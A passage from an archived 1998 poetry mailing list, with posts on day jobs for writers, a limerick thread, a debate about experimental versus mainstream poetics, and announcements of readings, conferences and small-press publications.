certain dramatic appeal, but its hard to get jobs in separate competitive fields (writing, medicine, etc.) In the mean time, a lot of us take up work in "something related to writing," and this is what interests me: these jobs suck the life out of you. Academia is good if you can get it, but it isn't good if you get four classes in freshman composition for 22,000$ a year. Last summer, I tried out tech writing which pays better, but at the end of the a day writing instruction manuals for vaporware, you don't come home and want to write. You don't want to read. You don't want text anywhere near you. You don't even want to watch TV because it has credits and those little logos in the bottom corner. You want to take up something like cooking. Maybe Indian cooking. Something you can eat. Something that reminds you that your brain is connected to your stomach.

So what do people think are "good jobs for writing?" As opposed to the "good jobs for writers"?

↑ Index

188. **Christopher Reiner**

L.A. Books Reading this Sunday

Tue 6 Oct 1998

L.A. Books at Cafe Balcony

OCTOBER 11, 1998
Will Alexander
Christopher Reiner

Cafe Balcony 12431 Rochester Avenue (corner Santa Monica & Centenela) Los Angeles, California

Readings begin at 4 p.m. Admission $5. All proceeds to go readers.

Check out some photographs from the first series (recommended for fast modem connections only--it's a big file) at
http://www.litpress.com/balcony.html

↑ Index

189. **George Bowering**

Re: poets & money

Tue 6 Oct 1998

> *hmmmm, when i tried writing on the fly, i got offered SUBSTANTIALLY larger amounts of money. on the other hand, when bowering tried it, he got arrested...*
>
> *e*

That was only because they never told me you were supposed to do the writing on your OWN fly! How was I to know? Bromige never told me.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

190. George Bowering
Re: L=I=M=E=R=I=C=K
Tue 6 Oct 1998

> *Once there was a scholar named Legman . .*
>
> *You go next.*

[Can't. That line doesnt have the right metre for a limerick.]

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

191. George Bowering
Re: L=I=M=E=R=I=C=K
Tue 6 Oct 1998

> *Once there was a scholar named Legman*
> *Whose vocation, he'd claim, was a "smegman"*
> *His cheese he'd collect*
> *bathroom wall's, he'd dissect...*

[Now this I dont understand. Bathroom wall's what?]

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

192. Mark DuCharme

Re: The 4th decade of experiments

Tue 6 Oct 1998

I've been trying to stay out of the debates of late, but this one gets my goat. This is not to say that Henry (or anyone) is not allowed their personal taste-- but to suggest that "experiments" NECESSARILY constitute gimmickry is at best shortsighted. (Let alone to suggest that the best poets who make use of them cannot tell the difference between weak, inauthentic or "authentic" poems, regardless of the trivial question of HOW they were written). I think the poetry of Bernadette Mayer or Jackson Mac Low is extremely AUTHENTIC; beside it, quick a lot of "nonexperimental" verse is shown up for the "personal voice" gimmick it is (or can be)...

Mark DuCharme

>44. Forget about experiment & try writing authentic poetry without gimmicks
>and pseudo-sophistication that might actually mean something to yourself &
>others. Toughest experiment of all.
>
>The greater portion of the rhyming tribe
>(Give ear, my friend, for thou hast been a scribe)
>Are led astray by some peculiar lure.
>I labor to be brief - become obscure;
>One falls by following elegance too fast;
>Another soars, inflated with bombast;
>Too low a third crawls on, afraid to fly,
>He spins his subject to satiety;
>Absurdly varying, he at last engraves
>Fish in the woods, and boars beneath the waves!
>(Byron)
>

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193. Karen Kelley
Re: money for poets
Tue 6 Oct 1998

Ee-yew...fly-*autoclaving*...

Well, to prove the everyone-has-different-tastes theory: I am now (for the past 3 years) happily ensconced in a tech-writing/desktop-publishing job at a computer software company & adore it.

I always found teaching utterly exhausting; I would be a pile of nerves while preparing lectures, then have this exuberant post-class adrenaline rush with eventual dramatic crash. It was *way* too emotional for me.

Meanwhile, the world of high tech publishing lets me play with words and images all day, many of which I am curious about but not overly-attached to--and at the end of the day I am thrilled to see poetry & fiction. Provided nothing's misspelled: the proofreader habit doesn't quit after an 8 hour day.

And as an aside on the beg-borrow-or-steal time issue: no matter how much or how little one has, if there are kids in your life, you are continually "on the fly."

Edward Fristrom wrote:

> *Last summer, I*
> *tried out tech writing which pays better, but at the end of the a day*
> *writing instruction manuals for vaporware, you don't come home and want*
> *to write. You don't want to read. You don't want text anywhere near*
> *you. You don't even want to watch TV because it has credits and those*
> *little logos in the bottom corner. You want to take up something like*
> *cooking. Maybe Indian cooking. Something you can eat. Something that*
> *reminds you that your brain is connected to your stomach.*
>
> *So what do people think are "good jobs for writing?" As opposed to the*
> *"good jobs for writers"?*

↑ Index

194. Steven Marks
jobs for poets
Tue 6 Oct 1998

On Tue, 6 Oct 1998, Edward Fristrom wrote:

> *In the*
> *mean time, a lot of us take up work in "something related to writing,"*
> *and this is what interests me: these jobs suck the life out of you.*

Up until last September when I was made redundant, I was a ghostwriter of books for a publishing company spun off of a consulting company. I hated it, but

the pay was good and the hours ridiculously easy. And no, I did not write more, but no less either. Now, I work half-time for an arts agency as a grantswriter. It's finally work that I can mostly believe in. The agency is actually a theater troupe consisting primarily of people with mental illness (schizophrenica, depression, manic depression, DID, etc.) who put on short sketches about the experience of having a mental illness. Much of the work is quite satirical, attacking hospitals and the psychiatric profession, drugs and their side effects, etc. The job does not pay real well. My other half-time job is at a boating magazine. I compile an events calendar, the Local Notices to Mariners from the Coast Guard and a monthly collection of reports of drug arrests, BWIs (boating while intoxicated) and search and rescues (some pretty dramatic) which I also get from the Coast Guard. It's not the type of work that I can believe in or not, but I do like the people I work with. It don't pay so great either. And so, I have the experience of some here -- job satisfaction or relative satisfaction but no time for much else than worring about money.

Steven

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195. Hilton Manfred Obenzinger
Re: L=I=M=E=R=I=C=K
Tue 6 Oct 1998

Aldon --

You are absolutely correct -- I apologize -- I'm not from Limmerick, just Brooklyn via Lublin.

There once was a foot that fell flat. . .

Hilton

On Tue, 6 Oct 1998, Aldon Nielsen wrote:

> *our "Legman" limerick is, if you'll forgive me, starting off on the wrong foot -- unless you're actually going to pronounce "there" with an unusally pronounced emphasis -- need to switch to "There once . . ." though, as always, regional variations in emphasis may have their way with meter --*
>
> *The one point of agreement between John Hollander and me, to quote Hollander:*
>
> *But the best of a _limerick_--*
> *Though in Dutch or in Cymric--*
> *Are the little short lines in the middle.*

↑ Index

196. **Mark DuCharme**

Re: L=I=M=E=R=I=C=K

Wed 7 Oct 1998

Trace,

I'm coming late to this discussion (not spending 24-hours-a-day at the list, I guess), but I just wanted to say I really like yr limerick after Zuk. Let's all do this with all sorts of old forms!

Mark DuCharme

>Hi all,
>
>Just came across a book of limericks written by Isaac Asimov and John
>Ciardi. I am dumbfounded by this collection and am left speechless,
but
>it got me wondering if there have been any so-called language-centered
>limericks, or if any of you have attempted to write in this form or
even
>break the form but still keeping the "essence of limerick" (a new
>cologne?).
>
>I've attempted a few but am reluctant to post them. (I'll wait to see
>if anybody else has any...)
>
>--trace--
>
>
>P.S. alright, here's mine:
>
>Lotus (after Zukofsky)
>
> genuine dire snow unfold when
> mercury delve changeling-in-us sew wren
>   soap trunk cotton asthma tear
>   ink wrought life thistle lair
> asking-always daemon-lent home ever been
>

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↑ Index

197. Billy Little
ford trashing?canada
Wed 7 Oct 1998

---

you try and turn back halfway across the peace bridge

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

198. Leonard Brink
Re: A petition to censure and move on
Wed 7 Oct 1998

Whoever started this thread should be censured for Poetics List contamination.
I mean, this isn't the UB Political Spam List, is it?

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199. Henry Gould
the sense of being right
Wed 7 Oct 1998

As an alternative to the "poetry & money" jive, here's a very discussable paragraph - especially in the context of pervasive "language" based "avant-garde" postmodernisms in poetry today:

"The question whether something is 'right' or 'wrong' in a given historical framework displaces the epistemological question whether something is 'true' or 'false'. Thus it may very well be that a subject does not first 'mean' something that it subsequently expresses through language (which thus would be reduced to a tool available to us). It may also be "that, rather than being master of an 'objective' world above which it stands, consciousness is instead an effect of social and unconscious processes which it could never fully 'know' or control; that all models that provide general explanations of the world are to a certain extent theoretical fictions."(*) But this does not contradict the necessity of discussing literary texts as representative texts, as models of human behavior, and as participants in the constant struggle for interpretive power within society. If

anything, an overemphasis on epistemological questions prevents us from seeing that the literary media and the public spheres of cultural production are to be highly prized socially because they make it possible for individuals to work through their material experiences and understand them as 'consciously' as they can."

(*)Michael Ryan, _Marxism_

- from Jochen Schulte-Sasse, Introduction to:_Theory of the Avant-Garde_, by Peter Burger.

It seems to me that a thorough comprehension of what Schulte-Sasse is saying here would undercut the basic "theoretical" rift between "mainstream" poetics and "experimental" poetics, in the US at least. Poetries that maintain the autonomy and otherness of artistic language would be seen as more reactionary than progressive in a political sense, as upholding stable relations between art (as an autonomous sphere unable to impact on "reality") and society. This in itself is neither right nor wrong; but one would have to reconsider what we want to call "experimental" in a social sense - obscure speech, or "interpretive" speech, in the sense Schulte-Sasse outlines here.

I don't want to pretend I'm saying anything new here - it's just new to me. That is I've leaned in this direction but haven't found it put so clearly before. - Henry Gould

↑ Index

200. Robert Archambeau
Query: Robert Duncan on VOA
Wed 7 Oct 1998

Okay, here's an obscure question for you.

In was quite surprised to find out that Robert Duncan's essay "Towards and Open Universe" was read by Duncan over the air, broadcast by the Voice of America. Does anyone know whether there is a recording of this broadcast? If so, where can I find it?

Best,

Bob

Robert Archambeau
Engelska Institutionen
Lund University, Sweden

↑ Index

201. **J. Kuszai**
a bucket of cold water
Wed 7 Oct 1998

I woke up this morning to discover that the list was locked the night before, I believe around 8pm Eastern Time. C'mon y'all. This wouldn't happen if you would simply consider your posts before sending them. Think of it as a giant daily scrapbook. It's limited. We can fill it up, but don't waste the pages. Please take chit chat and snickering/bickering backchannel. Remember, this is a form of publication--it's unedited contents are freely available to the general public in the archives. Remember, this is a form of publication. Please-- let's raise the quality of the conversation a bit, eh?

While I try to check email twice a day, sometimes I am not able to for whatever reason. I'm still landing in my new found igloo on the edge of the mountains south east of San Diego. From Mt Helix the smoke from the fires looks like an oil spill rivering its way down the sky. Finally getting settled here, I throw my hat into the air in a very Mary Richards sort of way, turning and twisting, finally on my own.

↑ Index

202. **dee morris**
hejinian/coolidge/rova event coming up fast
Wed 7 Oct 1998

"Stop! What's that Sound?"
University of Iowa symposium on improvisation and composition in the arts
Thursday, Oct. 15 through Saturday morning, Oct. 17

Readings, panels, a concert, and open multi-arts improvisation sessions with Lyn Hejinian, Clark Coolidge, the Rova Saxophone Quartet, and painter Tom Soule. Discussions of interrelationships among music, poetry and painting, panels on the role of improvisation and crossdisciplinary approaches to composition. All events free and open to the public.

For the Oct. 16 concert, Rova will play a combination of original works by members of the quartet and works commissioned by Rova with funds from Meet the Composer USA Commissioning Fund. The program includes pieces from "Freedom in Fragments," a long suite written for Rova by Fred Frith, which the quartet will record in 1999. Rova's influences include Ornette Coleman, Thelonious Monk and Anthony Braxton, Charles Ives, Olivier Messiaen, Ianis Xenakis, and John Cage. A leader in "collective improvisation," the merging of composed and improvisation music, "Rova is not only the hardest-working saxophone

quartet in blow-business," says the San Francisco Chronicle, "they are also the finest."

As listers will know, Lyn Hejinian began publishing her poems in magazines in 1963 and 1964. By the mid-1970s, she had begun editing the Tuumba Press series, which included a wide range of contemporary writing by poets and critics. Among her major publications are "Gesualdo," "Writing Is an Aid to Memory," "My Life," "Oxota: A Short Russian Novel," "The Cell," and "The Cold of Poetry." She is co-editorof the Poetics Journal with Barrett Watten . Her critical essays are forthcoming from the University of California, Berkeley.

Clark Coolidge's poetic career spans 33 years and an almost equal number of books. A jazz drummer himself, his collections of poetry include "Solution Passage: Poems 1978-1981," "Sound as Thought: Poems 1982-1984," "Own Face," and "The ROVA Improvisations," which began as preparations to compose liner notes for Rova's album "The Crowd." David Antin calls Coolidge's improvisatory constructions "the work of an experimental master doing a set of brilliant takes on the convention."

THURSDAY, OCT. 15

10:30 a.m. "Sound as Thought as Poem": Poets Lyn Hejinian and Clark Coolidge

1:30 p.m. "The Interaction of Improvisation with Composition": Panelists Lyn Hejinian, Clark Coolidge, Tom Soule, John Rapson and members of Rova will discuss the ways they blend improvisation with composition with examples from each artist.

7:30 p.m. Reading by Lyn Hejinian and Clark Coolidge

9:30 p.m. Open improvisation with the jazz combo Oddbar Trio Plus Trombone, as well as Rova and other guests from the conference

FRIDAY OCT. 16

10:30 a.m. "Sound as Thought as Music: Extended Techniques for Saxophone": lecture/demonstration by the Rova Saxophone Quartet

1:30 p.m. "Sources": Panelists Hejinian, Coolidge, Soule John Rapson and Rova will discuss the inter-disciplinary approaches they use,

with particular emphasis on ideas that originate in other
artistic genres and that blend diverse styles in a single work. Included
will be a collaborative piece by clarinetist Robert Paredes and poet
Clark Coolidge

8 p.m. Concert by Rova Saxophone Quartet

SATURDAY, OCT. 17

10 a.m. "Sound as Thought as Painting": painter Tom Soule on the interplay
between music and art

11:30 conference wrap-up

For further information, posters, and/or directions, backchannel [redacted], [redacted], or [redacted]

↑ Index

203. **Michael Magee**

Re: the sense of being right

Wed 7 Oct 1998

It seems to me, Henry, that you jump top the conclusion that Schulte-Sasse'sideas are not applicable to an experimental aesthetic. This jump can be separated into 2 mistaken leaps of faith: 1) that "experimental" is somehow equal to "autonomous"; and 2) (related) that experimental writing can't/doesn't engage/communicate with "the public spheres of cultural production." Which is to say that experimental language is not communicable langauge. I don't think this is true in the least. In fact, I would go so far as to state the opppo-site: that a *purely* traditional speech/language (if there was such a thing, which there isn't) wouldn't communicate at all, since communications is not a matter of reiterations but of adjustments, responses, antagonisms, ameliora-tions. Paul Goodman has said, in discussing the poetic avant-garde, "Poetic speech which drastically alters the code communicates better than ordinary speech - one has to give into it to get something out of it." What Goodman means (he explains it in great detail) is that a certain lack of familiarity w/ the code with which one is presented is the prerequisite to dialogue, & to the on-go-ing assembly of new communities. Otherwise, why talk at all. I find this true of any poem which doesn't in one way or another (and there are many, many ways to do it, some which most of us wouldn't call "avant-grade") try to alter our sense of what a "poem" is by sugesting what it *might* be: it never really enters

the social sphere, the public sphere, b/c it simply lies down like an identical transparency on what's already there.

-m.

According to Henry Gould:
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> As an alternative to the "poetry & money" jive, here's a very discussable
> paragraph - especially in the context of pervasive "language" based
> "avant-garde" postmodernisms in poetry today:
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> the necessity of discussing literary texts as representative
> texts, as models of human behavior, and as participants in the constant
> struggle for interpretive power within society. If anything, an overemphasis
> on epistemological questions prevents us from seeing that the literary media
> and the public spheres of cultural production are to be highly prized socially
> because they make it possible for individuals to work through their material
> experiences and understand them as 'consciously' as they can."
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> (*)Michael Ryan, _Marxism_
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> - from Jochen Schulte-Sasse, Introduction to:_Theory of the Avant-Garde_,
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> than progressive in a political sense, as upholding stable relations between
> art (as an autonomous sphere unable to impact on "reality") and society.
> This in itself is neither right nor wrong; but one would have to reconsider
> what we want to call "experimental" in a social sense - obscure speech,
> or "interpretive" speech, in the sense Schulte-Sasse outlines here.
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> I don't want to pretend I'm saying anything new here - it's just new to me.
> That is I've leaned in this direction but haven't found it put so clearly
> before.
> - Henry Gould
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↑ Index

204. **Henry Gould**
Re: the sense of being right
Wed 7 Oct 1998

On Wed, 7 Oct 1998 11:03:51 -0400 Michael Magee said:
>It seems to me, Henry, that you jump top the conclusion that
>Schulte-Sasse'sideas are not applicable to an experimental aesthetic.
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>of it." What Goodman means (he explains it in great detail) is that a
>certain lack of familiarity w/ the code with which one is presented is the
>prerequisite to dialogue, & to the on-going assembly of new communities.

Mike, your points are well taken. But I was not arguing against experiment per se. I was trying to redefine what IS really experimental. Or mumble in that direction. This quote from "Theory of the Avant-Garde" (intro) is like skimming the surface of a very longwinded & complex debate that Burger's book addresses (think of those names: Marcuse, Adorno, Jameson... enough to send shivers up your spine). I haven't read them either. (I know some of you HAVE!!) Nor is Schulte-Sasse rejecting "experiment" per se. But he's talking about 2 contrasted aspects of language use - a philosophical skepticism of the ability of literary language to convey truth, as opposed to a more historical sense of literary language as ONE kind of communication within existential realities in which justice - the sense of right & wrong - is a present actuality. & I was trying to contrast two tendencies - I know this is a grid & that things cross over the grid (Jordan?) - one that, say, deconstructs bourgois reality "to infinity", and "representation" & "everyday speech" etc. along with it; the other, that values representation as a communicable interpretation of real situations. So I would agree with Goodman, I guess, but I wouldn't say flatly that "poetic speech which drastically alters the code communicates better..." etc. It's a continuum, a two-way street.

- just another version of stuff I've been saying (ad nauseam to many)
on the list for years...
- Henry G.

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205. **Mark DuCharme**
Re: the sense of being right
Wed 7 Oct 1998

Hey Michael,

I'd be interested (& maybe others on this list would too) if you could cite the title of the book you refer to by Goodman. Thanks,

Mark DuCharme

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>Schulte-Sasse'sideas are not applicable to an experimental aesthetic.
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>> - Henry Gould
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206. **MAYHEW**
Re: The 4th decade of experiments
Wed 7 Oct 1998

I agree, not surprisingly, with Mark DuCharme...

My taste does run to the gimmicky--if you define Calvino, Perec, Mathews, Queneau, Mayer, Borges, Pessoa, Padgett, Koch, as gimmicky writers. Are these writers inauthentic? I think not. I also love other types of writers--Rilke, Lorca, Celan, Dickinson...

Here is the quote of Borges I was referring to the other day:

"Around 1930 I believed, under the influence of Macedonio Fernandez, that beauty is the privilege of a few authors; now I know that it is common and that it is lying in wait for us in the casual pages of mediocre authors or in a conversation on the street. Thus, my ignorance of Malayasian or Hungarian letter is total, but I am convinced that if I had time for studying them, I would find there all the nourishment necessary for my spirit."

Jxnxthxn

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207. **henry gould**
Re: The 4th decade of experiments
Wed 7 Oct 1998

Just for the record, I never said, ala Mark DuCharme, that experiment was NECESSARILY gimmicky. Nor did I say I disliked gimmickry in all writing. I merely proposed an experiment - an unusual one for this list, which I still say is the most difficult experiment of all. - Henry G.

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208. **Anastasios Kozaitis**
Re: the sense of being right
Wed 7 Oct 1998

"A poem is energy transferred from where the poet got it, by way of the poem itself to, all the way over to, the reader. Then the poem itself must, at all points, be a high energy construct, and at all points, an energy discharge. To do this the poet can go by no track other than the one the poem under hand declares for itself. Thus he has to behave, and be, instant by instant, aware of some several forces just now beginning to be examined."

"Let's start from the smallest particle of all, the syllable. It is the king and pin of versification, what rules and holds together the lines, the larger forms, of a poem. If the syllable, that fine creature, were more allowed to lead the harmony on...."

"Is it not the play of the mind we are after, is not that that shows whether a mind is there at all?"

--from Olson's Projective Verse

If one were to proceed from Olson's tack than any notions of experimental versus mainstream and/or traditional speech versus poetic speech (whatever those demarcations are????) are moot. It is what the poem demands. And, I believe, that in many ways Olson wrote this to refute WCW's The Revolution of the Word. WCW atomized the word; Olson universalizes the syllable, and draws its interrelations not only with the word(s) but also the harmony and music of it all.

--Anastasios Kozaitis

At 09:36 AM 10/7/98 PDT, you wrote:
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>

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209. Elizabeth Treadwell
Outlet (2) Fairyland
Wed 7 Oct 1998

Outlet (2) Fairyland
is available now....featuring poetry, fiction, photography, & criticism
engaged in fairytales, by:

Merle Bachman
Todd Baron
Leslie Bary
John Byrum
MTC Cronin
Jenny Della Santa
Ann Guy
Amir Hamed
Joshilyn Jackson
Paul Jackson
Tan Lin
Debra Moses
Michelle Murphy
Linda Russo
Standard Schaefer
Elizabeth Treadwell

+ REVIEWS
(Grace Lovelace on “Henry Fool” &
Johanna Isaacson on Dodie Bellamy’s
The Letters of Mina Harker)

“The birds woke up and sang. The cool, rational sun surprised him; morning had broken on his exhiliration and the mountain now lay behind him. He looked

over his shoulder and saw, how, with distance, the mountain began to acquire a flat, two-dimensional look. It was already turning into a picture of itself, into the postcard hastily bought as a souvenir of childhood at a railway station or a border post, the newspaper cutting, the snapshot he would show in strange towns, strange cities, other countries he could not, at this moment, imagine, whose names he did not yet know, places where he would say, in strange languages, 'That was where I spent my childhood. Imagine!'"

- Angela Carter, "Peter and the Wolf"

60 pp., color cover

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Please send work via regular mail (please include a SASE). When first submitting, please consider a 5 page limit. Most of our issues will have themes: for these, check our website, or the current issue. You may SASE for details if you like. Our deadlines are June 15 and December 15 of each year. You may expect a response within a month of these dates. However, please know that we cannot respond without a SASE or an email address, and cannot return work without sufficient postage on a SASE. Please note that submissions of chapbook manuscripts are by request only.

Outlet (3) Ornament will include work which addresses fashion: ornament, the (synthetic) fixtures of the body, & the languages/technicalities of attire, both contemporary & historical. Deadline December 15, 1998.

Outlet (4) Themeless, for a change, with a slight inclination toward maps & weather. Deadline June 15, 1999.

Thank you.

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from Double Lucy

*
Home of Grammar, Sarah Anne Cox

The Marriage of the Well Built Head, Yedda Morrison

Love Sentence, Lynne Tillman*

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Elizabeth Treadwell

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---

NOTE TO OUR DEAR CONTRIBUTORS, SUBSCRIBERS, & TRADERS: your copies will be mailed out within the week. thx, ET

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210. Michael Magee
Re: the sense of being right
Wed 7 Oct 1998

Sure, it's a great book called *Speaking and Language: Defense of Poetry* (London: Wildwood House, 1971). Goodman was a poet & Gestalt psychologist but here he's doing a kind of Burkean thing w/ discussions of langauge as symbolic action. But he has hs own smart insights to add. He's been somewhat forgotten among important predecesors to the New American POetry crowd, but he was at Black Mountain & also influenced O'Hara. -m.

According to Mark DuCharme: > > Hey Michael, >
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>

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211. P.Standard Schaefer
Ribot Conference Reminder
Wed 7 Oct 1998

Just so people know, there is a discount available on rooms at the Furama Hotel ($65 a night-- two beds), but reservations need to be made by late next week.

Furama Hotel [redacted] ext. 66445

Panelists include Catherine Wagner, Jacques Debrot, Franklin Bruno, myself.

I'm personally excited because Sanguinetti will be there Friday and he's one of my favorite Italian poets. People who were there last year may be surprised how sharp this thing is going to look at Otis. Good music and booze.

Here is what it is: GENERATION

a literary & arts conference celebrating the publication of Ribot 6 -

Over 60 Under 30

(poets & visual artists from around the world, born before 1938 after 1968)

October 30-31, 1998 at Otis College of Art & Design
(9045 Lincoln Blvd., Los Angeles 90045)

Opening reception and publication party,
Friday, October 30, 7:00 p.m.

Symposia, Saturday, October 31,
10:30 a.m.- 5:30 p.m.
"Innovation/Repetition" - "Generation/Presentation"
- "Degeneration/Conservation"

Masked Ball, Saturday, 8:30 p.m.

Attendance free and open to all ages. For more information, [redacted] or e-mail: [redacted] / [redacted]

This event is co-sponsored by the Communications Design, Fine Arts and Liberal Studies Departments of Otis college of Art & Design, in cooperation with L.A. Books.

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212. **Jordan Davis**
"grid shimmers"
Wed 7 Oct 1998

Shimming is like swimming not one of my physical languages (I can _read_ it...). However, if there is a grid on land, it's amusing, a false situation that invites false behavior (e.g. the famous "elegance" of math). Henry mentions skepticism about literary language and truth value. Well, this is one from poetry elementary school so we should be right to wonder about it (at it?), but the thought is, poetry is nothing but lies, but they're lies that tell the truth ordinary truth-telling avoids. You tell these lies to transmit some (true??) emotion. This is probably a hokey abstract-expressionist-influenced (read: Kierkegaardian?) way of thinking about it. Poetry holds truth value in disregard, preferring what sounds right or looks right -- and poetry that sounds wrong or looks wrong is no better for its asceticism -- it only catches the people who notice that looking right can be a trick.

Bach is someone who exhibits grid behavior, "right"? As opposed to road rage.

end o' the day --
J

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213. **Aldon Nielsen**
Re: the sense of being right
Wed 7 Oct 1998

Henry -- I wonder if Adorno's way of thinking about "autonomous" art might be another way of mediating the "mainstream's" claim of autonomy for art that, using his definitions, might seem considerably less autonomous -- I'm thinking of some of his expressions in his debates with Benjamin and others -- in the end, I don't think Adorno's distinction holds up so well either (and given his remarks on jazz it's always difficult for me to read him at all) -- but his approach to "autonomy" seems to have been forgotten in most U.S. debates on these issues --

↑ Index

214. **Aldon Nielsen**
Re: L=I=M=E=R=I=C=K
Wed 7 Oct 1998

At 08:22 PM 10/6/98 -0700, you wrote:
>Aldon --
>
>You are absolutely correct -- I apologize -- I'm not from Limmerick, just

>Brooklyn via Lublin.
>
>There once was a foot that fell flat. . .

I once met a flatfoot in Brooklyn!

↑ Index

215. Dale Smith
Younger Poets Issue 10
Wed 7 Oct 1998

Mike & Dale's Younger Poets Summer 98 is available, finally. This tenth issue offers what some are calling "the most exciting expressions in contemporary poetics." See what the buzz is about in this hot issue which includes:

Gerrit Lansing, Sarah Menefee, Jose Lezama Lima (translated by Roberto Tejada), Vincent Farnsworth, Patrick Doud, d.a. dubuc, Noel Andersen Black, Leslie Davis, Dan Featherston, Kenneth Irby, Tom Clark, Lacy L. Schutz, Jeffrey Cyphers Wright, David Lehman, J.J. Campbell, Katrina Dalton, Greg Fuchs, Dawn Michelle Baude, Kevin Opstedal, Douglas Oliver, Brett Evans, Kristin Prevallet, MTC Cronin, Adam Cornford, Michael Price, John Herndon, Geoffery Young, Chris Stroffolino, Hoa Nguyen, and, the Devil himself.

Also, presented is an interview with Joanne Kyger, conducted by the editors in May of last year.

Back issues of M&D are available for $5 each. For a complete listing of our issues contact Dale Smith.

Send checks and contributions to Dale Smith at 2925 Higgins Street, Austin, TX 78722. For $100 we'll enter your manuscript in our Younger Poets first book series. The ghost of Frank O'Hara will judge the manuscripts, awarding prizes for "most original composition," "most strategic use of 'space,'" and "cutest not-so-hidden references to one of seven famed French syllogisms." Anyway, you get the picture. Winner to be determined like Calvin's sheep: predestined.

Get Your Private, Free Email at http://www.hotmail.com

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216. Dale Smith
Hoa Nguyen's DARK
Wed 7 Oct 1998

New from Mike & Dale's Press:

DARK, a book of poems by Hoa Nguyen with illustrations by Suloni Robertson.

Nguyen's poetry dissolves the complex projections of family, love, and work into points of compact revelation. The relationships of self and experience projected through the difficult contours of language focus these poems into visions of life lived, not constructed. Nguyen's attention to the minute details of sound in the poem create a music that reaches into the intensity of noise without giving in to the shapeless, late century chaos of methodology. DARK presents an experience of the US that discerns the values of color amidst apparent liberal erasures of race from 'polite society.' Buy this book while it lasts. Only 300 copies available. $7

Also from M&D Press:

Road Trip Through the Four Spheres

by John Herndon

$5

Sand in the Vaseline

by Kevin Opstedal

$5

Send checks and/or inquiries to Dale Smith, 2925 Higgins Street, Austin, TX 78722.

Don't wait. Become a Younger Poet Today.

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

217. david bromige
grid shimmer + meat on the table
Wed 7 Oct 1998

I really only wanted to write in to say that I have been in complete agreement with Jordan Davis's definiton of poetry as lies that point to a truth for 30 years so am gladdened to see him saying it but is such docile agreement on my part sufficient justification for 1/50th of the day's moeity?

Write some more, then.Let me see. . .

I thought that maybe if I added to Jordan's alternative to Bach's gridlike musical behavior, "road-rage..", "road-rage over a lost penny," my intervention might excuse itself. It would be educive, adducing a difference in art-epochs.

But I'm still not sure. I feel like I should rescue Bowering's bon-mot by saying that when he scribbled on my fly I came to attention and saluted as we ran his effort up the flagpole, and that that was how I came into the love of poetry, because in that nonsense would be some lies pointing to a truth, but geez I'm still not sure. Am I part of the problem, or part of a possible way out?

Write some more, then.

I must say I agree with Joel when other people are perpetrating the nonsense. His is a thankless task, and I'm sure we all realize this and want to make it easier for him. I know I do. But I have trouble coloring the sand in under the line. I hope he will b-c me when I go one toke over it. I would prefer that to public remonstrance. Listafarians who have not met Joel in person have missed a great deal and dont know how lucky we are to have him riding herd on us, and not Ham Meatfist or Jock Strap or Peaches Dobell.

I'll write some more...

One last attempt at worthwhile relevance (though not at all relevant to the rest of this letter...I hope; it's just that I've started re-reading "Songs of I and E") : what do Listafarians make of that line of Blake's, "And so I stained the water clear"?

One might go on at some length in this format, and perhaps should keep a "List Diary" then post once every day or so, on various topics. But would this solve the problem, or only raise new difficulties--a list with fewer posts, but longer? I admit to avoiding the "judging" thread, not that the first few posts werent interesting, but just that the world, I feel, is hopelessly irredeemable in these matters. People form likings for other people and allow these to color their judgement. I have always disapproved of this, while at the same time doing little else. To my observation, everyone does this, whatever they say they do. But of course, since I am persuaded of this from my own experience, I am the more likely to read it in the motives of others.

Doesn't this connect via intuition to the feeling of being right?

David

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218. Roger Farr
Langpo & Lingprag
Thu 8 Oct 1998

Last night it was my turn to bring some writing in for analysis in a "linguistic pragmatics" grad course, here at SFU. From the EPC "Authors" page, I downloaded part of Ron Silliman's "D E M O" (with citation!) and circulated it among

the class. Silence. More silence. Then the remark: "I think I'm being made fun of here." I tried to explain that the poem offered a more democratic model of writer/reader relations, and perhaps that explained the "funny feeling", but to no avail. We moved on . . . .

So, I am wondering if anyone on the list has tried to apply such procedures to "experimental writing", or if they know of any critical works in which a "pragmatic" approach has been used to talk about such writing. From this first attempt, it seems as though "linguistic pragmatics", or "discourse analysis", is unable to address the complexities of experimental writing.

Did someone say "duh"?

Roger

↑ Index

219. Mark Baker
Staining the water
Thu 8 Oct 1998

> *what do Listafarians make of that line of Blake's, "And so I stained the water clear"?*

This is the innocent novice language poet who, once delusionally piping in the pre-verbal outside-the-text, then became a speech-obsessed Beat singing songs of happy cheer, and now, not knowing what he does, because the innocent has no he to do the knowing but instead follows the disappearing-child-in-a-cloud's theory, stupidly picks up a pen and threatens to poison the source of our bodily fluids, all for the sake of ink. Writing corrupts! Experience will teach him that not every child will joy to hear.

Mark Baker

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220. Tom Orange
hejinian/coolidge/rova event
Thu 8 Oct 1998

---

anyone planning on attending this and willing to
write us a report?

tom
([redacted])

> *"Stop! What's that Sound?"*
> *University of Iowa symposium on improvisation and composition in the arts*

> *Thursday, Oct. 15 through Saturday morning, Oct. 17*
>
> *Readings, panels, a concert, and open multi-arts improvisation sessions with Lyn Hejinian, Clark Coolidge, the Rova Saxophone Quartet, and painter Tom Soule. Discussions of interrelationships among music, poetry and painting, panels on the role of improvisation and crossdisciplinary approaches to composition. All events free and open to the public.*

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221. **Charles Alexander**

Re: Langpo & Lingprag

Thu 8 Oct 1998

I too understand Aviva's skepticism, and the difficulty of Roger Farr's students facing Silliman's work for the first time. But I think the problems are almost entirely about conditioning. I share Karen Kelley's sense of a similar blank lostness in the face of much so-called mainstream poetry, but I admit that's got a lot to do with my own conditioning during a twenty-year commitment to experimentalist poetics.

but I don't think Ron Silliman's work is a blank slate about which anything can be said and all is equal. Neither do I think he is making fun of the reader -- in fact, I do think he is, in small and large ways, freeing the reader from being led by the nose, respecting the reader's ability to function in a context of shifting uncertainties (which is our context, isn't it?).

DEMO begins:

This is a test.

What is a test? Well, pretty much everything. And how to put it together. But there are lots of clues here, like on the first page of the work, a little after this opening:

Up against the woolite, desire for narrative condemns millions -- French bread hard as a rock.

DEMO ends:

